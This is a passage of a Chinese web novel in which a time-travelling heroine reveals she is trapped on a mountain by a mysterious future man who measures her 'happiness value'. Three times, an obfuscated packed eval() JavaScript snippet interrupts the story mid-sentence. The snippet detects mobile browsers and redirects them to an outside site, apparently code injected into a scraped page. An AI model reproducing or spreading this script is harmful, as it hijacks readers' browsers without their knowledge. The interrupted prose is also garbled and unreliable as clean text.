“……但那时我没勇气告诉你……那个爱人,必须是你……因为我发现……爱上你……”她反手攥住风宿恒手臂,寻觅依靠的力:“……甘愿投降,让你晋升主宰……权柄交予尔手……宿恒……你愿不愿意…….” 风宿恒放开通红的耳:“最后这句,再说一遍。” 至此,他说什么便是什么。 “权柄交予尔手,宿恒……你愿不愿意?” 自己看到和听她说感觉全然不同,风宿恒将她转回:“什么权柄?说出来,让我知道!” 额头抵住他胸膛,栖真带着自暴自弃的羞意,用哭腔道:“支配我的权柄,控制我的权柄,主宰我的权柄……满意了吗?满意了吗?” 风宿恒将人举起贴到洞壁,她以俯视之姿,而他抬头迎上,要求对方的承诺:“给了我,便是我的。”定契般用力吻上去。 拿取她的权柄,万事有他托底,从此人生何其圆满! 唇舌激烈摩擦,让人耳红心跳的润泽声在洞中响起。后来栖真主动搂住风宿恒脖颈,居高临下吻他。滋味太销魂,落地时胸膛起伏,让她不得不并拢腿。这便是欲海吗?沉浸其间的感觉让人陌生。 一辈子还长,如今只是开个头,她已然吃不消。 143. 第 143 章 “真真。”风宿恒忽然抱紧她,低声恳求:“我一刻都不想等,跟我下山。” 栖真一凛:“做什么?” “三媒六礼,明媒正娶。”风宿恒心绪激动,目光炽热:“娶你!” 以为能再等等,可亲耳听她说将权柄赋予自己,他怎么忍得了? 是男人都忍不了! 栖真慌了:“在山上也可以。” “山上成婚?”风宿恒笑出来:“这么寒碜?” “再等等好吗?”栖真不敢看他:“我…没准备好。” “多久?”风宿恒见怀里通红的小耳朵,爱怜又好笑。 “反正就是…再等等好吗?” 风宿恒没料到会被拒绝,冷静几分,想起栖真的过去。 她说过有段时间过得不好,和人接触就紧张。风宿恒想,莫非她不能接受洞房?否则怎么解释她想要孩子却不跟男人生的事实呢? 看来适才还是冲动了,还要给她点时间。 “好,听你的。” 风宿恒自认有点分寸,接手帕子把洞内字迹擦去。 两人携手待走。风宿恒眼一撇,见洞另头地上有什么东西,走过去一看,是一件衣服,一条裤子。 他捡起,拿在手里翻,问:“你的?” 昨日洗澡拿了冲锋衣和牛仔裤替换,原本想放回包里,谁知被推下洞时一并掉下来。后来她上去了,东西却落在下面。此时见风宿恒发现,栖真就在心头大声喊糟。 “不是!”头摇成拨浪鼓。 “这式样,没在中土见过。”风宿恒越想眉头越皱,倏忽抬头,又问了一遍:“不是你的?” 他声音认真起来,适才还染着情/欲的宠在面上淡去。 “小包子画过你们那儿的人物,短衣,长裤,像这一样。”风宿恒把衣裤递到她面前:“怎么可能不是你的?” 这语气已然不是询问,而是确认了。 栖真看看风宿恒,又看看他手里的东西,吞咽数下,竟不知怎么答。 风宿恒拉她的手:“栖真,说实话,哪儿来的?” 说实话,那就得从头说起…… 可不过半柱香前,她还否认自己救他,谁知打脸来得这么快。栖真惶急地后退一步,想把手抽出来。 风宿恒却抓着不放,脸色有些沉,他太了解她了,半开玩笑说了一句:“在急着编故事吗?” 栖真泄气了:“也不给我时间编啊。” 见她眼神躲闪,莫名紧张,风宿恒脑中徒然冒出个可怕的想头,和她确认道:“这是你从那边带来的?你……回去过?” 事已至此,瞒不下去了。 栖真点头。 风宿恒只觉眼前一黑。 栖真一直心心念念要回现代,为此不远千里上驼暮山,可如今她……她居然找到了回去的方法? 不,不是找到回去的方法,而是“回去过”! 是回去,又回来! 这天大的事…… “何时?”风宿恒愣怔道。 “你活过来那日。” 风宿恒面色不能更差。 栖真说自己没救他,可现下又说他活过来那日她回去过,世上怎会有这么巧的事? “是为了……救我吗?”风宿恒小心求证,一时竟不知希望她承认还是否认。 栖真深吸口气,道:“昨日跟你说过,我在这儿遇到个人。” 遇到个人? 她说的不是容绽吗? 她不肯下山,不是为了他们吗? 谁知听栖真继续道:“他叫重离,和我一样来自未来。他送我回去找到了你的转世,取了那人身上一点东西,然后重离用那东西,把你救了回来。” 风宿恒半晌吐不出一个字,把她的话在脑海里过了两遍,才找回自己的声音:“取了什么东西?” 栖真:“骨灰。” 风宿恒浑身一震,她回去取人骨灰?怎样取?掘墓吗? “重离在哪里?”他问。 “就在这座山上。” 就在这座山上??!! 这么大的事,栖真为何重逢以来只字不提? 风宿恒心头升起不详的预感:“为何不跟我说?” 见栖真不敢与他对视,泫然欲泣的表情,风宿恒一把掰正她下巴:“为何不跟我说?真真,你还有什么瞒着我?” 眼泪顺颊而下。 想告诉他的,告诉他她的害怕、伤心和绝望。 但她不敢! 栖真哭出来,语气是崩溃的:“我出不去!我走不出这座山了!重离送我回去的条件就是让我这辈子都待在山里陪他!” 走不出去…… 这辈子…… 她在说什么? 条件是她这辈子要待在山里陪他? 风宿恒怀疑自己的耳朵,露出茫然又无措的神色,将一个字一个字窜起,等理解她话里的意思,他表情都扭曲到有些狰狞。 “什么叫出不去?”他听见自己的声音问。 “就像大容结界一样,这座山被结界覆盖了!你们可以进进出出,就我一个,走不出去,飞不出去,只能困在这座山上!” 风宿恒大脑嗡的一下,退了一步。 他不相信! 不敢置信! 一把揽住栖真的腰,他倏忽出洞,回到山顶飞掠下山。根本不顾一路会否遇见容绽他们,也顾不上他们见到他抱着人这般着急忙慌会否觉得奇怪,他根本什么都想不了。他慌得燎原,拿出平生功力,身法简直比他的箭还快。这一路别说没遇见人,即使遇着,大概只是眼底一道消失的残影。 到山道口,风宿恒不知会发生何事,栖真却是知道的。再让风宿恒照此速度往前疾驰,对她来说堪比坐着超高时速的车子撞墙。 劲风呼呼过耳,栖真脸都白了,一把拉住风宿恒衣襟:“别别!放我下来,我证明给你看。” 风宿恒顿住,将她放下地,此处离山道口不过两步之遥。栖真落地喘了半天,什么速度?坐火箭吗? 两人对视,风宿恒一时无言,紧张到手心冒汗。 可他再紧张,栖真都不得不演示给他看。 于是她伸长手臂往前走,用指尖触上那层软垫一样的结界。 可在风宿恒眼里,他只看到栖真的手背翘起,像贴着什么东西一样举在空中。她的身体在往前,但她的手掌却贴在那里不动。 栖真回头:“看到了吗?” 随着这声问,她看到的却是男人茫然的神色。 栖真明白过来,索性退了五六步,然后快速跑起来,重重撞上去,果不其然被彻底弹回。 风宿恒反应极快地扶住她。 “看到了吗?”她从他臂弯里站直:“出不去。” 风宿恒也伸手,可什么都没摸到,他顺利出了山道。 栖真到那结界前,将手覆盖上去:“过来。” 风宿恒也将手覆上去,盖着她的手掌。 栖真问:“摸得到我吗?” 如果这里有第三个人,一定会奇怪地看着他倆,因为他们就站在山道口面对面,掌对掌,接触的双掌间并无缝隙。 可风宿恒却道:“摸不到。” 明明掌对掌,可是摸不到! 他想用另一只手把栖真带过来,可他看着自己的手覆上去,却什么都没摸到。 人明明站在面前,可伸手,却什么都没摸到。他眼睁睁瞧着自己的手捞了一把空气,穿过栖真的身体。 而当他重新跨过那道山界,就又能触碰到她。 风宿恒脑里太乱了,既闪过各种听闻过或接触过的封印、结界和秘术,竭力想着有无破解之法。但在这之上,乱七八糟的念头又被一个巨大的声音覆盖。 那声音在叫嚣:出不去……出不去……出不去……出不去……她真地出不去? “别的地方?”风宿恒问。 才起个头,栖真就知他要问什么,立马道:“这一面山我试过了,都出不去。山很大,我没来得及走完。再找找,说不定有疏漏呢。” 风宿恒一把拽住她腕,咬牙切齿:“重离在哪儿?带我去见他!” 这事对栖真而言发生好几天了,再难以接受她也让自己慢慢平静下来,是以不似风宿恒这般激动,反而给他顺气道:“喘口气,别激动。重离住在那座像坟头一样的山上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137593|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,有条铁索桥连着我们这座山和他那座,但那桥平时会隐身,只有我去见他时才会出现。重离让我每过五日去见他一次,我上一次去见他还在前天,所以铁索桥下一次出现还要三日。” 风宿恒不知还有这出,痛苦的表情中显出怪异,半晌问:“他让你每过五日去见他?” “是啊。”栖真道:“除了第一次见他为着救你,后面我只见过他一次。” “他要你去见他做什么?”风宿恒问。 “我也不知道做什么。”栖真道:“就是说说话。” 风宿恒……… “你适才说,他也来自你的时代?” “不,比我的时代还晚一千年。”栖真道:“我对你来说是未来人,他对我来说也是未来人。” 风宿恒问:“都不是一个时代的人,说什么话?” “我们也不是一个时代的人,还亲呢。” 这话真是祸从口出,一说完,就见风宿恒横眉怒目。 “不不,我不是那个意思。”栖真赶忙澄清:“我和他真地没什么好聊,这人就像机器,我们代沟严重,他很多话我都听不懂,而且他对我也不友善,第一次见面居然把我咬出血,所以你千万别瞎想。” 风宿恒脸色都没法看了,双手撅住她胳膊:“咬出血?哪里?” 栖真抬腕,拉开衣袖:“这儿。” 果然有一道伤口,虽在愈合,仍泛着青紫。 这两日她身上擦伤跌伤太多,不仔细瞧,他真没分辨出这是被咬的。 风宿恒看着伤口周围已经褪去、不仔细看都看不清的牙印,脸都扭曲了:“他为何咬你?” 见栖真瑟缩不语,他更是不依不饶抓着她问:“他为何咬你?” 栖真只得道:“他把我的血滴在一个装置上,好像测了我什么身体数据,然后他就一直问我,做什么事情可以让我高兴。” 风宿恒重复了一遍:“什么事情可以让你高兴?” “他这么问,我就提了要救你,他就送我回现代取骨灰,就……就这样把你救活了。” 风宿恒呼吸粗重,瞪她许久:“回现代前,你就知道自己再也出不了山了?” “知道。”栖真点头。 但那又如何? 先知还是后知,对她的决定根本没有影响。 风宿恒问:“是他拉你回来的?” 栖真:“穿梭仪只能支撑八小时,就是四个时辰,我只能回现代四个时辰,重离说时间一到会把我拉回来,可是等门真地打开,好像也没什么把我拉回来一说,我是自己穿过时空之门回来的。” 风宿恒嗓门都大了,像霹雳惊雷:“那你为何回来???” 男人激怒下的嗓音响得惊心动魄,栖真被他吓得胆颤,情绪和血压霎时飙升,也不落下风地顶道:“我是为了救你才回现代取骨灰!我怎么可以不回来?我不回来怎么救你?” 风宿恒双眼通红,抓着她肩膀,要摇醒一个头脑不清的人:“你不是心心念念要回去吗?都回去了还回来做什么?困在这鸟地方一辈子出不去吗?” 栖真被他摇得飙泪:“我可以为你赴汤蹈火,你不能为我擦破油皮。你这样对我,我也一样,一样的啊!我不想被困,可比起救活你,这重要吗?重要吗?” 风宿恒道:“我不愿意!明白吗?我、不、愿、意!若这复生要以你的自由为代价,我宁愿没活过来!” 两人喘着气,怒到发抖,只不过一个脸血红血红,一个青白青白。 栖真有种气到灵魂出窍,闷到几欲吐血的感觉,一时不知说什么好,张口闭口数次,沉声道:“风宿恒,你再说一次!” 风宿恒咬紧牙关强忍,开不了口。 栖真哭到呼吸困难,泪眼婆娑奋力一指:“什么混话!你还情愿没活过来???给我站这儿好好想,没想明白前别来见我!” 拂袖而去。 风宿恒目视山道上远去的身影,她跑再快,他追过去也不是抓不住她。 可这一次,他没有追上去。 不仅没追上去,还返身走了。 他径直御剑回朝阳城客栈,推开房门,一口陈血喷出,直接晕了过去。 144. 第 144 章 栖真根本没跑远。 她抹着泪,在转弯的山道旁等。只要风宿恒跟上来,她会拉着他的手,把事情从头到底说一遍,让他不要胡思乱想。 可左等右等,没等到人。 她回到山底,发现风宿恒不在了。 他走了……. 栖真只身面对荒野戈壁,气得一佛冲天,发起狠来,抓起山坡上的石头狠狠往戈壁扔,一块、两块、三块……找不见石头就趴土,可以扔的都行。 但有毛用? 所有的石头和碎土都掉在戈壁上,在抛物线的过程中没遇到任何阻碍。 那她呢? 栖真拔下木簪,扔! 脱下衣服,扔! 踢了布鞋,扔! 这些东西和石头一样,也安然落在戈壁上。 那她呢? 栖真拔下根头发,猛吹口气,纤细的发丝在空中碰壁,弹回稍许,贴着一个看不见的面落地。 身外之物都能出去,唯有身体发肤出不去,只要是她身体的一部分,脱离本体也出不去! 重离活了上百年,甚至不止上百年。在他眼里人的一生不过弹指一瞬间,也许他不会认为让她在这里待一辈子是什么大不了的事,可对她而言只有这么几十年。而此刻,她似乎已经看到终点。 是不是化为坟头一缕青烟,她才能出去看看这个世界? “栖真!” 她痴楞楞站着,任心间泛起强烈的苦楚,就听身后有人叫唤。 阑珊踏踏踏在山道上两阶一跳地靠近:“一早没看到你,哎……你怎么哭了?” 栖真抬手拭泪,倔强看天:“没有!” 阑珊瞧她披头散发,只着中衣,还光着一只脚,再看戈壁上,衣服鞋袜落了一地,怎么看怎么诡异。 “你……别是在山上待疯了吧?” 栖真不知如何解释,也不想解释,便听山道上有人唤:“阑珊。” 阑珊返身扶住慢慢往下走的身影,嚷嚷道:“是栖真,她发疯呢。衣服鞋子都不穿,全扔了。中毒了还是中蛊了?” 容绽语含隐隐警告:“阑珊!” 栖真问:“你们要下山?” “阿绽想在戈壁走走,我就陪他下来了。” 容绽到栖真面前站定,看不见也不妨碍他从几句话里察觉她的异样,问道:“怎么了?” 栖真不及回答,阑珊已经抢答:“她肯定遇到事了,否则哭啥?” 栖真咂了下嘴,瞪他,没事瞎嚷嚷什么,“晚上做噩梦,睡不着,出来走走。” 阑珊:“你出来也招呼一声或留个字呢!阿畅不是带笔墨上来了吗?今早大家见不着你,都在问呢。” “知道了。”栖真道:“我回去了。” “这样回?”阑珊惊讶:“衣服也不穿?” “穿、穿的。”栖真瞄眼戈壁,不好意思道:“麻烦你帮我捡下。” 阑珊看看戈壁,又看看她:“我帮你捡?你自己不去?” 栖真知道这就像进电梯非要人帮你按楼层,耍大牌得很,可她没办法啊。 “行吧,也不是非穿不可。”栖真道:“那我上去了。” 高一脚低一脚地走了。 “栖真。”身后有人叫住她。 容绽对阑珊道:“去捡一下。” 栖真接过阑珊递来的衣服鞋袜簪子,一屁股坐下来穿。 容绽侧身站在道上,缓缓道:“梦都是假的,不要上心。”说完便和阑珊去了戈壁。 栖真见他们走过那道对她来说无法逾越的天堑,轻松一步跨过去。 他们就是下来散步的,戈壁中无遮无拦,除非碰上枯死的灌木阑珊才会指引,其他时候就让容绽一个人慢慢走。 容绽变化很大,没有在戈壁初见时沧桑毕现的模样了。他衣衫齐整,发丝不乱,困窘和拘谨已然退去,身上那种任由命运无情鞭挞的破碎感也淡下不少。栖真看了会儿,觉得在滩碛上行走的容绽像把自己交于千里赤地,每一步都无需考虑眼盲带来的心理障碍,和一个闲庭信步的正常人没有多大区别。 这日晚间篝火夜话,栖真捧着茶问:“阿绽是从小就看不见吗?” 容绽道:“不是。” “后天的话更不好受。”栖真低头凝视茶水:“被困住的感觉一定很难受。” “一开始是的,每日都像做噩梦。”容绽道:“以前睡着才有梦魇,现在醒来仍有。” 周围人被这段对话吸引,渐渐停口,有些惊讶地看向容绽。 他在倾诉? 五年里从不多说一句话的人,现下竟在倾诉? “被困住——”栖真陷在自己的想头里,没注意周围安静下来:“又要怎样才能出去呢?” “先承认被困住。”容绽回答得倒是心明眼亮。 这段对话就此结束,他们开始喝茶。周围人又你一言我一语说吃的、用的、要存的、后面打算等等,唯独栖真没注意听,她只是抱膝发呆。 晚上猫回小帐时她暗忖,今晚风宿恒会不会又半夜拉着什么人给她一个惊吓——不,惊喜? 可她有点累,之前在火边坐着眼皮都在打架,陷入沉睡前她脑里只有一个念头。 无论你今夜身在何处,愿君安眠。 ………… 睡前心中片刻温柔,在隔日早晨荡然无存。 特么还没回来…… 风宿恒这次食物带得多,但那么多张嘴,食物所剩无几又后继乏力时栖真总觉得是自己责任,便自告奋勇跟成校和阿陶他们出去打猎。董未说要采草药,也跟着去。 原本觉得带栖真有点累赘,谁知到山林里,跑得最快的却是他们一开始最不看好的人。 “太能跑了……你要能扛起一头熊,和男人都没差别!”成校对栖真感慨。 栖真火气旺,一把拎起他们打下的山鸡:“也得山里有熊才行。” 董未卸下她肩头山鸡,背上自己肩:“又是土又是血,别弄脏衣裳,我来。” 栖真采了根狗尾巴草跟在后面:“你们什么时候下山?” 董未道:“之前阿絮说要下,这两天又不提了。” 成校回头对董未挤挤眼:“我觉得可不是阿絮不想走。” “我也不想走。”董未大声道:“山上真的好,不用跟着东躲西藏。” 走在最前面的阿陶难得来一句:“别说了,让人听到以为我们又抱怨。” 栖真问:“谁要抓你们?” 三个男人都回头瞅她,董未有点尴尬、有点讨好地笑:“也不是要抓‘我们’,‘我们’几个还好。” 成校:“走了,走了。” 栖真听出这意思:这群人里真正有危险的,只怕还是那几个九部相。 打了猎回去烧饭,烧了饭又去洗碗,洗了碗又带孩子,栖真心里越不得劲,表面就越忙活,一个人抢着干了三个人的活儿,连絮回都说你歇歇吧。 栖真把孩子放在大石上,脱开襁褓做按摩,把宝宝逗得咯咯笑,一面问:“阿絮,若暂时不走了,在山里找个好些的地方建房子吧。” 柳絮回在木盆里洗着衣裳:“哪是说建就建,就凭我们几号人?” 栖真道:“找人来建。” 柳絮回摇头苦笑。 那表情什么意思栖真明白的。请人施工,人工、材料,多大一笔开销。栖真问:“你们上山前做什么营生?” 柳絮回道:“我和阿月会刺绣,一幅绣品能卖百八十两银子,董未经常去些医馆坐轮值,阿瑶他们做的就多了,苦力、小厮、帮佣……什么活儿都干过,但都干不长,补贴些家用。” 如今栖真对银子有了长足的概念,知道一百两不过是一家饭馆两日的毛利,可刺绣这东西多花时间啊。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13149396|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “刺绣我一窍不通。”栖真道:“怎没见你们带绣线绣箍什么的?” 柳絮回想你不出生付春贵族吗?你不懂刺绣?面上却道:“路上掉了。” 栖真把小朋友重新包起来:“要什么绣线,下次让阿畅从山下带,能拿秀针的手就别整日洗衣裳。” 柳絮回不当真,略略摇头一笑了事。 栖真却说得来了劲:“很多人白手起家,开始也会借钱。有了本,出来东西,才能赚得多,等赚回来再把本还了便好。别墨守成规羞于启齿,那是在耽误自己时间。” 柳絮回回避道:“道理也不是不懂,只是我们居无定所,认识的人也不多,凡事得靠自己。” 栖真循循善诱:“那我们合作呀?” 柳絮回从洗衣盆里抬额:“合作?” “对。”栖真有亢奋的神态:“拿刺绣一事说,我有办法让你们一件绣品至少卖到一千两。” “一千两?”柳絮回停下搓衣的手,为她的大言不惭哂笑:“贡品吗?一千两?” 栖真嘿嘿笑:“哪需要做贡品才值这个价?世上总有有钱人,投其所好,人掏钱还来不及。” 絮回这次真停了手:“我和阿月刺绣过得去,但也没好到值这个价。” 栖真走来走去哄孩子,也不避讳,直接拿现代名词说事:“商品的价值固然与它的质量相关,但更多的是由其被赋予的意义所决定。” 见柳絮回似懂非懂地眨眼,便用下巴指了指一边的筐子:“这棵芹菜,直接问菜农买,一文钱;去菜铺买,三文钱;若举国饥荒,我拿着它叫卖,说不定十两银子都卖得。芹菜还是这芹菜,为何能卖出不同价钱呢?” 柳絮回细想,又陷入迷茫:“该怎么做?” “阿絮,试一试。”栖真鼓动道:“若这次照我的点子赚着钱,咱们一起凑点,在山上把房子建起来怎么样?” 柳絮回道:“什么点子?” 栖真索性取个小杌子坐到盆前,午后太阳旺,她想让宝宝晒晒,便一手挡着他眼,一手轻拍,将想法说了一遍。 柳絮回犹豫半天,问:“关窍处不是绣出来,而是你说的那几步卖法如何实现。” 栖真道:“不打紧,届时你这边出个人跟阿畅下山,看他怎么弄。”又见絮回面有难色,怕她在担心下山后的安危,建议道:“乔装一下就行。” 什么困难在她嘴里好像都没大事,柳絮回笑出来:“我可没你说的那个什么‘本’来买丝线,这招万一不灵,损银子的可是你。” “所以不叫‘合作’吗?”栖真道:“我出本,你出力。赚了一起赚,亏了一起亏。” 柳絮回搓了两把衣裳,前前后后地想。 积蓄都她管,如今他们总共只有八十一两五十八钱。为长久计总要多弄点银子。别说用这办法卖一千两,即使最后只卖一百两,对她们而言也是过去的十倍有余。况且她只出力,买丝线的银子都不必出;而赚了栖真也有进项,自己也不算贪她便宜。两厢都过得去,何不一试呢? 当下点头同意:“既要买丝线——阿畅什么时候回来?” 说到这个,栖真哼笑一声:“他大忙人,我哪儿知道,或许今天就回来了。” 柳絮回道:“他忙什么呢?” 栖真道:“忙点小生意。” “他做什么生意?” “三教九流,什么都做。”栖真道:“别看他最近上山勤,以后大多会在山下。” 柳絮回问:“不是你家仆吗?” “家都没了,还家仆!”栖真脖子一埂,“他顾念我爹待他有救命之恩,多加照拂些罢了,往后还指不定怎样。” 柳絮回想了想:“我看他倒是个重情义的,刚来那日,便说后面会全权照顾你。” 栖真没好气地嘀咕:“谁要他全权照顾……招呼都不打就跑没影,还全权照顾!” 145. 第 145 章 风宿恒不在的第一天,火大、火大、火大。 风宿恒不在的第二天,担心、担心、担心。 风宿恒不在的第三天,消沉,消沉,消沉。 风宿恒不在的第四天,栖真一句话不想说了。 可她还得去见重离。 集装箱房仍在,内里却有大变化。光线调成了星巴克风的柔和,不再是停尸房的惨白。那张栖真生平仅见的大床没了,角落出现一具棺材一样的仪器。 说这仪器像棺材并不准确,它更像科幻电影里那种太空逃生舱,外形是某种坚固的银白色轻金属材质,上盖透明的,可以看到硬制的内里,里面有一只焊在舱壁上的黑色头戴式耳机。 当然这只是栖真的理解,限于她对未来科技一无所知,她觉得这东西一定不是她认知的耳机。 000001 栖真看了眼“棺材”的外层,发现侧面亮着一行红色荧光、电子格式的阿拉伯数字。 这地方有数字,莫非代表这具“棺材”的编号? 栖真想象得出躺进去后局促冰冷的感觉。 栖真:“躺里面能舒服吗?” 重离:“安置舱比床适合我。” 安置舱,原来这东西叫安置舱。 她看了看安置舱,又掉头看了眼沙发上的重离,无法想象以他这样的体格,怎么把自己窝进如此狭小的空间。 上次搬到沙发前以便坐下跟他好好说话的长椅仍在,她不相信这把椅子自她离开后的五天里没移开过沙发前这片空地,那只能是重离知道她今日要来,提前将椅子放到那里。 所以栖真直接在椅子上坐下来。 五分钟后………… 重离问:“为什么不说话。” 栖真盯着沙发上的重离:“你只有这一身衣服吗?” 每次见面,他都穿着这身黑色的袍子。 “衣服不重要,不穿都可以。” 栖真…… 又过了五分钟,一室沉寂。 不能再像上次,她攻得破绽百出,他防得滴水不漏,今天栖真抱定主意让重离主导谈话。因为只有他问,她才能从中窥视他真实的需求。 重离终于开口:“这一周,你的幸福值上升得很快。是什么让你觉得幸福?” 幸福值? 她的幸福值? 栖真眯了眯眼,没有回答他的问题,反问道:“如何测我的幸福值?” 重离起身,推开通往洞内的那扇门,示意洞壁。 栖真走出集装箱房,抬头看去。这不就是第一次相遇时重离咬腕取血,用装置弄出的那根刻度和血条吗? 她记得当时血条停在8,而现在,血条沿着洞壁直直往上探,停在了58。 所以,这个刻度,代表的是她的幸福值? 重离在监测她? 可他为什么这样做? 况且,为什么是幸福值,而不是别的什么数值?她见过测心跳、测血压,就没见过测幸福的! 栖真疑惑回头,看向停在门边的男人,有一百样问题想要答疑解惑,可她故作深沉,更想听他问。 重离回沙发上坐,栖真也重回室内,坐到椅子上。 重离道:“你的幸福值本周最高到65,现在又跌回58。为什么?” 栖真冷静道:“什么是幸福值?” 重离说的“幸福”,是她理解的“幸福”吗?如果他们不能对“幸福值”三个字有统一的认知,那么之后的对话很大程度可能沦为鸡同鸭讲。 重离道:“你对生活的满意度。” 好吧,看来就“幸福”二字的理解,他们并没有太大偏差。 栖真清了清嗓:“我爱的人找到了我,我们在一起了。” 重离道:“所以爱情让你增加了对生活的满意度。” 这是显而易见的——无论是世俗意义上,还是从洞壁那个高科技数字来看。栖真抿了下唇算作回答。 重离道:“如果是这样,我也可以爱你,我们也可以在一起,这样数值会上升得更快。” 栖真差点从椅子上跳起来。 上次谁说的,我不需要这种垃圾?又是谁说的,我不可能爱人? 重离对她的惊恐视而不见,继续荒谬的言论:“把你爱他的点列给我,我也可以和他一样,让你产生爱的感觉。” 说的好像只要输入一个数值,计算机就能将结果千百次毫无偏差地计算出来一样。 栖真深呼吸,岔开话题:“上次,再上次,谈话都以你把我扔出去作为终结。我们能否约法三章,我们可不可以文明地结束每一次会面,让我说再见,然后让我自己走出去?” “可以。” 栖真呼出口气,只要重离同意,就代表她多少有一些可以主导会面时间的权利,不至于话到一半又被扔出去。 “谢谢。” 她用提需求的方式缓和了一下那种荒谬绝伦的感觉,然后给出回答:“爱情具有排他性。两个人确立恋爱关系后,任何不相干的人涉足,不仅不会增加他们的幸福值,反而会让这个数字跌停。” 重离…… 第三次见面了,男人仍是面无表情,但此刻栖真却在他脸上解读出一种“原来如此”的意思。 莫非一千年后,人类爱情的内核和形式发生了很大变化?否则重离为何像对爱情一无所知? 栖真正琢磨,便听重离问:“为什么跌下来?” “因为他又离开了。” “所以让他待在你身边,可以增加你的幸福值。” “不!” 栖真骇然起身,椅子嘭一声翻倒,椅背撞地。 “你不能把他也困在山上。” 相较于栖真的激动,重离只是拿一种判研的眼光目视她。 栖真说了声抱歉,将椅子扶起,索性将之翻个个,倒坐上去,两条胳膊搁在椅背上,这样能给她一些支撑。 “天天待在一起的情侣反而容易降低幸福值,每个人都需要自由空间,这才是维持幸福的秘诀。如果你想提升我的幸福值,千万别把他像我一样困在山上。否则对我来说,简直比杀了我还痛苦!” 用对方的逻辑来说服对方才是沟通的上策,果然,重离不再提让人待在身边这种话,只是道:“可是你说数值跌下来,是因为他的离开。” “但没跌回8!”栖真道:“哪对情侣不吵架?不吵架怎么了解彼此的底线?数值的下跌是暂时的。或许下周来见你,数值就回来了。” 房中又静下来,似乎重离觉得这个话题可以到此为止,栖真也只是等着,她今天采取守势,审时度势的守势往往才是最好的攻势。 重离问:“还有什么事可以提升你的幸福值?或者让你开心?” 栖真直白道:“别把我禁锢在山上,幸福值马上能飙到100。” “或许会飙到100,但不会维持在100。你把待在山上当成禁锢,是因为你没想明白。” “我该想明白什么?” “想明白什么是真正的幸福。” 栖真问:“那你说什么是真正的幸福?” “悟。” 栖真忍不住笑了,她将下巴搁在臂上,这样可以让她舒服些:“你是哲人吗?穿越千年,只为了给我当心理医生?” 重离道:“我饿。” 栖真耸了耸肩:“你饿,和我感悟幸福,有什么关系?” 重离道:“需求和解决方案之间的关系。” 栖真:“不懂。” 重离道:“我懂。” 栖真毫不吝啬地在他面前翻了个白眼。 重离又问一遍:“还有什么事可以提升你的幸福值?” “测我的幸福值到底有什么意义?到100又如何?” “到时你会知道。” “我现在就想知道。” 重离不开口了。 栖真捏了捏眉心,知道他现在不会告诉她,还是问了一句:“好事还是坏事?” “好和坏是相对的。” 重离扫视她摊在椅背上的样子:“你的状态很差。” 栖真不想和他探讨自己的状态,她只是问:“我能带人来见你吗?或者你能不能跟我出洞见人?” 重离道:“除了你,没人能进洞。我也不认为我有必要去见任何除了你以外的人。” 这次轮到栖真不语了。 “还有什么事可以提升你的幸福值?或者让你开心?” 重离重复这个问题,像编程里的循环语句。 栖真看了一圈空空荡荡的空间:“你这里有没有装置,可以让我查阅资料?” “资料?” “我带回来一个存储器,里面有些资料,你这里有电脑或者能够用什么方法读出这些资料,对我会有非常大的帮助。” 她想了想,又趁重离开口前补充一句:“如果你这里原本就有资料库,或者能够联网让我查,我想我的幸福值一定上升得更快。” 重离:“搜索比读取要费更多能量,暂时只能尝试读取。下次将存储器带来,可以试一下。” 栖真揪着他话里的线索:“就是说你这里确实有终端,可以实现互联网式的搜索?” “互联网被淘汰了。”重离道:“我们用脑钛网,但目前运力不够。” “怎样才能运力够?” “加充。” “加充?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13156944|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 栖真问:“和我们说的充电类似吗?” “电能也被淘汰了。”重离道:“但,是的。” 栖真问:“你用的又是什么能源?” “超氢能。” “氢气的氢?” “对。” 栖真问:“如果加充完毕,实现脑钛网搜索,要多长时间?” 重离:“三到四年。” 栖真:“那你现在又是用什么方法加充超氢能呢?超氢能从哪里来?” 重离静了一会儿,忽然道:“你在套我话。这就是你今天不主动开口的原因,你希望从我这里获得更多信息。” 栖真无力地将额头抵上手臂,过了片刻才抬头道:“不是套你话,上一次我就说过,我只想多了解你一些,我觉得我们可以做朋友的。” 重离道:“今天的对话结束了,五日后再来。” 栖真…… 见她还楞楞地坐在那里,重离道:“你说要自己出去。” 栖真起身,道:“能问你最后一个问题吗?” 重离:“可以。” “如果我不主动来见你,会发生什么事?” 重离道:“你救的人会死。” 这一次栖真是自己出去的。踏上草甸峰的那一刻,她觉得自己活像从舞台上下来的演员,一离开战斗的舞台,整个人立刻被打回原形。 消沉、疲惫、精神恍惚。 那是她饱受四日相思、三晚失眠后变成的样子。如今,这副灰色的底板又被挥笔涂抹上一层黑。 那是恐惧的颜色。 